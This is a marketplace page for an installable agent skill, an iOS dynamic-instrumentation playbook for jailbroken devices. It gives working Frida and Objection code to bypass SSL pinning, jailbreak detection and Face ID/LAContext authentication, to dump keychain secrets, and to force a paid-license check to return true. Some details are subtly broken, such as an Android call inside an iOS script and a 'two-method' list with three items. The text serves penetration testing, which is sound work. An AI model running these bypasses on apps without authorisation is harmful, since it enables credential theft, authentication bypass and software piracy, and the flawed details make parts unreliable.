# Dynamic

> iOS dynamic instrumentation on jailbroken device — Frida/Objection setup, SSL Kill Switch pinning bypass, jailbreak-detection bypass, keychain dump, biometric/LAContext bypass, and ObjC runtime method hooking.

- Skill: `purpleailab/dynamic` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/dynamic`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/dynamic/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/dynamic

---


# iOS Dynamic Instrumentation Playbook

> Jailbroken device required for full Frida/Objection access. Most
> enterprise and bounty-program iOS testing falls here. For static-only
> analysis (no jailbreak) see `reverser/ios-static/SKILL.md`.

## Prerequisites

- iOS device jailbroken with **palera1n** (A8-A11 on iOS 16+),
  **checkra1n** (A5-A11, up to iOS 14.8), or **unc0ver** (A12+ up to
  iOS 14.8 with supported blobs). Confirm with `uname -v` in SSH.
- Frida server installed via Cydia / Sileo (search "Frida") or manually:

```bash
# SSH to device (default Cydia SSH cred: alpine)
ssh root@<device-ip>

# Verify jailbreak + SSH works
id   # should return uid=0(root)
uname -v
```

- Host side: `pip install frida-tools objection`
- Confirm connectivity:

```bash
frida-ps -U   # lists processes on USB-connected device
```

## Path A: SSL Pinning Bypass

### SSL Kill Switch 2 / 3

Install via Cydia/Sileo (search "SSL Kill Switch 2" or "SSL Kill
Switch 3" for iOS 15+). Toggle per-app in Settings → SSL Kill Switch.
Relaunch the app; verify traffic appears in Burp (set device proxy to
Burp listener IP:8080, install Burp CA as trusted profile via
Settings → General → VPN & Device Management).

### Objection pinning disable (preferred for on-demand toggle)

```bash
# Attach to running app
objection --gadget "TargetApp" explore

# In the Objection REPL:
ios sslpinning disable

# Verify: open the app, check Burp proxy for decrypted HTTPS
```

### Frida codeshare scripts (NSURLSession / AFNetworking / TrustKit)

```bash
# Universal iOS pinning bypass (covers NSURLSession, Alamofire, AFNetworking)
frida -U -f com.target.bundle \
  --codeshare "wan-make/ios-ssl-pinning-bypass" \
  --no-pause

# TrustKit-specific bypass
frida -U -f com.target.bundle \
  --codeshare "machorka/trustkit-bypass" \
  --no-pause
```

### Manual Frida script for custom pinners

```javascript
// Hook SecTrustEvaluate + SecTrustEvaluateWithError
// Load with: frida -U -f com.target -l bypass-pin.js
if (ObjC.available) {
    var SecTrustEvaluateWithError = Module.findExportByName(
        "Security", "SecTrustEvaluateWithError");
    if (SecTrustEvaluateWithError) {
        Interceptor.replace(SecTrustEvaluateWithError,
            new NativeCallback(function(trust, error) {
                if (error !== 0) Memory.writePointer(error, ptr(0));
                return 1;  // errSecSuccess
            }, 'int', ['pointer', 'pointer']));
    }
}
```

Verify in Burp: `HTTPS` traffic from the target app appears decrypted.

## Path B: Jailbreak-Detection Bypass

### Objection built-in

```bash
objection --gadget "TargetApp" explore

# Disable JB detection (covers fileExistsAtPath Cydia checks + fork())
ios jailbreak disable
```

### Common detection patterns to hook manually

| Pattern | API to hook |
|---|---|
| File presence (`/Applications/Cydia.app`, `/bin/bash`) | `NSFileManager fileExistsAtPath:` |
| URL scheme (`cydia://`) | `UIApplication canOpenURL:` |
| `fork()` syscall return | `fork` (libc) |
| `/proc/self/maps` inspection | `open` / `fopen` |
| Dyld image name scan | `_dyld_get_image_name` |

```javascript
// Frida: hook fileExistsAtPath to suppress JB file checks
var NSFileManager = ObjC.classes.NSFileManager;
var orig = NSFileManager["- fileExistsAtPath:"].implementation;
Interceptor.replace(orig, ObjC.implement(
    NSFileManager["- fileExistsAtPath:"],
    function(self, sel, path) {
        var p = ObjC.Object(path).toString();
        var jbPaths = ["/Applications/Cydia.app", "/bin/bash",
                       "/usr/sbin/sshd", "/etc/apt", "/private/var/lib/apt/"];
        for (var i = 0; i < jbPaths.length; i++) {
            if (p.indexOf(jbPaths[i]) !== -1) return 0;  // false
        }
        return orig(self, sel, path);
    }
));
```

### Liberty Lite / A-Bypass (tweak-side)

Install Liberty Lite or A-Bypass from Cydia/Sileo → enable per-app
toggle before launch. Faster than scripting for commodity JB checks.

## Path C: Keychain Dump

### Objection keychain dump

```bash
objection --gadget "TargetApp" explore

# Dump all items accessible in app context
ios keychain dump

# Output: account, service, access group, kSecAttrAccessible class, value
```

### Frida hook on SecItemCopyMatching

```javascript
// Log every keychain query result
var SecItemCopyMatching = Module.findExportByName(
    "Security", "SecItemCopyMatching");
Interceptor.attach(SecItemCopyMatching, {
    onEnter: function(args) { this.result = args[1]; },
    onLeave: function(retval) {
        if (retval.toInt32() === 0 && !this.result.isNull()) {
            var items = new ObjC.Object(this.result.readPointer());
            console.log("[KC]", items.toString());
        }
    }
});
```

### `kSecAttrAccessible` misconfig findings

| Value | Finding |
|---|---|
| `kSecAttrAccessibleAlways` | Critical — readable without unlock, even after reboot |
| `kSecAttrAccessibleAlwaysThisDeviceOnly` | High — readable without unlock |
| `kSecAttrAccessibleAfterFirstUnlock` | Medium if secrets are high-value |
| `kSecAttrAccessibleWhenUnlocked` | Acceptable baseline |
| `kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` | Secure — requires passcode |

## Path D: Biometric / LAContext Bypass

### Hook evaluatePolicy to always succeed

```javascript
// Bypass LAContext biometric prompt — returns kLAErrorSuccess
var LAContext = ObjC.classes.LAContext;
Interceptor.attach(
    LAContext["- evaluatePolicy:localizedReason:reply:"].implementation,
    {
        onEnter: function(args) {
            // args[3] = reply block (id, NSError*)
            var replyBlock = new ObjC.Block(args[3]);
            var origImpl = replyBlock.implementation;
            replyBlock.implementation = function(success, error) {
                origImpl(1, null);  // force success=YES, error=nil
            };
        }
    }
);
```

### Objection biometric bypass

```bash
objection --gadget "TargetApp" explore
ios ui biometrics_bypass
```

## Path E: ObjC Runtime Method Swizzling (License / Auth Checks)

```javascript
// Example: patch -[LicenseManager isPremiumUser] to return YES
Java.perform(function() {});  // no-op; use ObjC.available block

var LicenseMgr = ObjC.classes.LicenseManager;
if (LicenseMgr && LicenseMgr["- isPremiumUser"]) {
    Interceptor.replace(
        LicenseMgr["- isPremiumUser"].implementation,
        ObjC.implement(LicenseMgr["- isPremiumUser"], function(self, sel) {
            console.log("[+] isPremiumUser hooked -> returning YES");
            return 1;
        })
    );
}
```

```bash
# One-liner attach to running process
frida -U -n TargetApp -e "ObjC.classes.LicenseManager['- isPremiumUser'].implementation = ObjC.implement(ObjC.classes.LicenseManager['- isPremiumUser'], function(self,sel){return 1;});"
```

## Evidence

Capture Burp traffic screenshot showing decrypted HTTPS after pinning
bypass. Save keychain dump to `/workspace/evidence/mobile/<bundle-id>/keychain.txt`.

```python
kg_add_node(
    kind="finding",
    label="iOS SSL pinning bypassable",
    props={
        "key": f"ios-ssl-pin::{bundle_id}",
        "severity": "high",
        "cvss": 7.4,
        "bundle_id": bundle_id,
        "bypass_method": "objection+ssl-kill-switch",
        "traffic_captured": True,
    },
)

kg_add_node(
    kind="finding",
    label="iOS keychain kSecAttrAccessibleAlways item",
    props={
        "key": f"ios-keychain-acl::{bundle_id}",
        "severity": "critical",
        "service": "<service-name>",
        "account": "<account-name>",
        "accessible_class": "kSecAttrAccessibleAlways",
    },
)
```

## ZFP

Two-method evidence per finding:

1. **Pinning bypass**: Burp HTTP history screenshot with decrypted HTTPS
   requests from the target app visible.
2. **Keychain misconfig**: `ios keychain dump` output showing
   `kSecAttrAccessibleAlways` class + sensitive value.
3. **Biometric bypass**: screen recording of the app unlocking without
   presenting a Face ID prompt after the hook fires.

## OPSEC Notes

- Jailbreaking leaves fingerprints: jailbroken device connects to
  Apple ID — use a dedicated Apple ID for testing; avoid using personal
  iCloud account.
- Frida injects a Gadget dylib; some apps detect `frida-agent` in
  the dyld image list. Counter: Frida Gadget injection via
  `objection patchipa` or `optool` (embed Gadget, re-sign with
  `codesign`).
- SSL Kill Switch modifies a system library; some app-layer integrity
  checks may detect it. Script-based bypass (injected Frida) leaves
  fewer static artifacts than a system tweak.
- `palera1n` tethered jailbreak: device reboots to unjailbroken state;
  re-jailbreak each power cycle during long engagements.

## Severity Table

| Bug | Severity |
|---|---|
| Keychain `kSecAttrAccessibleAlways` with auth token | Critical 9.5 |
| SSL pinning fully absent or bypassable without JB | High 8.0 |
| Jailbreak detection absent | Informational |
| Biometric bypass exposing auth flow | High 7.5 |
| `kSecAttrAccessibleAfterFirstUnlock` with secrets | Medium 5.5 |

## References

- palera1n: https://github.com/palera1n/palera1n
- Frida: https://frida.re/docs/ios/
- Objection: https://github.com/sensepost/objection
- SSL Kill Switch 3: https://github.com/Tym0n/SSL-Kill-Switch3
- Codeshare universal bypass: https://codeshare.frida.re/@wan-make/ios-ssl-pinning-bypass/
- Cross-ref static analysis: `reverser/ios-static/SKILL.md`

